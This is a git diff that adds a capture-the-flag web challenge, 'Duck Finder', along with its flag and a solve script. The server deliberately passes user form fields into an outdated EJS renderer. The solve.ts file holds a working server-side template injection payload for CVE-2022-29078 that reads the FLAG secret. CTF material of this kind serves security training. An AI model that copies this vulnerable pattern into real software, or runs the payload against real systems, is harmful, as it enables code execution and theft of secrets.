diff --git a/duck-finder/.gitignore b/duck-finder/.gitignore new file mode 100644 index 0000000..4ba3538 --- /dev/null +++ b/duck-finder/.gitignore @@ -0,0 +1 @@ +!server.zip diff --git a/duck-finder/Dockerfile b/duck-finder/Dockerfile new file mode 100644 index 0000000..194a100 --- /dev/null +++ b/duck-finder/Dockerfile @@ -0,0 +1,24 @@ +FROM node:20-bookworm + +RUN useradd -m -d /home/ctf ctf + +USER ctf + +RUN bash -c "curl -fsSL https://deno.land/x/install/install.sh | sh" + +WORKDIR /home/ctf/app + +COPY --chown=ctf:ctf ./entrypoint ./entrypoint +COPY --chown=ctf:ctf ./server ./server +COPY --chown=ctf:ctf ./flag.txt . + +WORKDIR /home/ctf/app/entrypoint + +RUN npm ci + +ENV PATH "${PATH}:/home/ctf/.deno/bin" +ENV NODE_ENV production + +EXPOSE 3000 + +ENTRYPOINT ["npm", "start"] diff --git a/duck-finder/chall.yaml b/duck-finder/chall.yaml new file mode 100644 index 0000000..f0c6ff3 --- /dev/null +++ b/duck-finder/chall.yaml @@ -0,0 +1,18 @@ +name: Duck Finder +categories: + - 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from 'express' +import httpProxy from 'http-proxy' + +const flag = readFileSync('../flag.txt', 'utf-8') + +const proxyRequest = (req, res) => { + try { + const proxy = httpProxy.createProxyServer({}) + + proxy.on('error', (_err, _req, res) => { + if (res.headersSent) { + return + } + + res.status(500).send('Internal Server Error') + }) + + const child = spawn('deno', [ + 'run', + '--allow-env', + '--allow-read=.', + '--allow-net=0.0.0.0:0', + 'server.js' + ], { + cwd: join(process.cwd(), '../server'), + env: { ...process.env, NO_COLOR: 1, FLAG: flag } + }) + + child.stdout.once('data', data => { + const port = Number(data.toString('utf-8')) + proxy.web(req, res, { target: `http://127.0.0.1:${port}` }) + }) + + const killTimeout = setTimeout(() => child.kill('SIGKILL'), 5_000) + + proxy.on('end', () => { + clearTimeout(killTimeout) + child.kill('SIGKILL') + }) + } catch { + res.status(500).send('Internal Server Error') + } +} + +const app = express() + +app.get('/', proxyRequest) +app.post('/', proxyRequest) + +app.listen(3000) + +process.on('uncaughtException', () => {}) diff --git a/duck-finder/flag.txt b/duck-finder/flag.txt new file mode 100644 index 0000000..dfe16bd --- /dev/null +++ b/duck-finder/flag.txt @@ -0,0 +1 @@ +bcactf{a_l1Ttl3_0uTd4T3d_qYR8IeICVTLPU0uK} \ No newline at end of file diff --git a/duck-finder/server.zip b/duck-finder/server.zip new file mode 100644 index 0000000..38acea4 Binary files /dev/null and b/duck-finder/server.zip differ diff --git a/duck-finder/server/breeds.json b/duck-finder/server/breeds.json new file mode 100644 index 0000000..6b6f821 --- /dev/null +++ b/duck-finder/server/breeds.json @@ -0,0 +1,12 @@ +{ + "Mallard": "The quintessential wild duck, known for its distinctive green head and versatility in both urban and wild habitats.", + "Pekin": "A large, white duck primarily bred for meat production, recognized for its friendly disposition and rapid growth.", + "Rouen": "Similar in appearance to the Mallard but larger, the Rouen is primarily raised for its flavorful meat and calm demeanor.", + "Khaki Campbell": "Renowned for its prolific egg-laying capabilities, this breed is hardy and adaptable, with a sleek, brownish-tan plumage.", + "Cayuga": "Distinguished by its iridescent black feathers, the Cayuga is a dual-purpose breed valued for both its eggs and meat.", + "Indian Runner": "Noted for its upright posture and high egg production, the Indian Runner is an active, slender breed often used in pest control.", + "Muscovy": "A unique duck breed with a carunculated face and excellent foraging skills, Muscovies are quiet and primarily raised for their lean meat.", + "Swedish Blue": "A robust breed known for its attractive blue-grey plumage and good meat quality, often also kept for ornamental purposes.", + "Buff Orpington": "With a warm, buff coloration and a calm temperament, this breed is favored for its good egg production and dual-purpose utility.", + "Welsh Harlequin": "A prolific layer of large eggs, the Welsh Harlequin is also appreciated for its striking, patterned plumage and gentle nature." +} diff --git a/duck-finder/server/server.js b/duck-finder/server/server.js new file mode 100644 index 0000000..a7cd318 --- /dev/null +++ b/duck-finder/server/server.js @@ -0,0 +1,35 @@ +import express from 'npm:express@4.18.2' +import 'npm:ejs@3.1.6' + +if (!Deno.env.has('FLAG')) { + throw new Error('flag is not configured') +} + +const breeds = JSON.parse(Deno.readTextFileSync('breeds.json')) + +const app = express() + +app.use(express.urlencoded({ extended: true })) + +app.set('view engine', 'ejs') + +app.get('/', (_req, res) => { + res.render('index', { breedNames: Object.keys(breeds) }) +}) + +app.post('/', (req, res) => { + for (const [breed, summary] of Object.entries(breeds)) { + if (req.body?.breed?.toLowerCase() === breed.toLowerCase()) { + res.render('search', { + summary, + notFound: false, + ...req.body + }) + return + } + } + + res.render('search', { notFound: true }) +}) + +const server = app.listen(0, () => console.log(server.address().port)) diff --git a/duck-finder/server/views/index.ejs b/duck-finder/server/views/index.ejs new file mode 100644 index 0000000..9ccdba1 --- /dev/null +++ b/duck-finder/server/views/index.ejs @@ -0,0 +1,24 @@ + + + + + + Duck Finder + + +

Duck Finder

+

Type the name of a duck breed to learn more.

+ +
+ + +
+ +

We have info about these breeds:

+ + + diff --git a/duck-finder/server/views/search.ejs b/duck-finder/server/views/search.ejs new file mode 100644 index 0000000..7915ad4 --- /dev/null +++ b/duck-finder/server/views/search.ejs @@ -0,0 +1,19 @@ + + + + + + Duck Finder + + +

Duck Finder

+ + <% if (notFound) { %> +

No results

+ <% } else { %> +

You searched for: <%= breed %>

+

Summary:

+

<%= summary %>

+ <% } %> + + diff --git a/duck-finder/solve.ts b/duck-finder/solve.ts new file mode 100755 index 0000000..c2b4bc6 --- /dev/null +++ b/duck-finder/solve.ts @@ -0,0 +1,9 @@ +#!/usr/bin/env -S deno run --allow-net=localhost:3000 + +// It's just CVE-2022-29078 + +fetch('http://localhost:3000', { + method: 'POST', + headers: { 'content-type': 'application/x-www-form-urlencoded' }, + body: 'breed=mallard&settings[view options][outputFunctionName]=x;__append(Deno.env.get("FLAG"));x' +}).then(res => res.text()).then(body => console.log(body.split('<')[0]))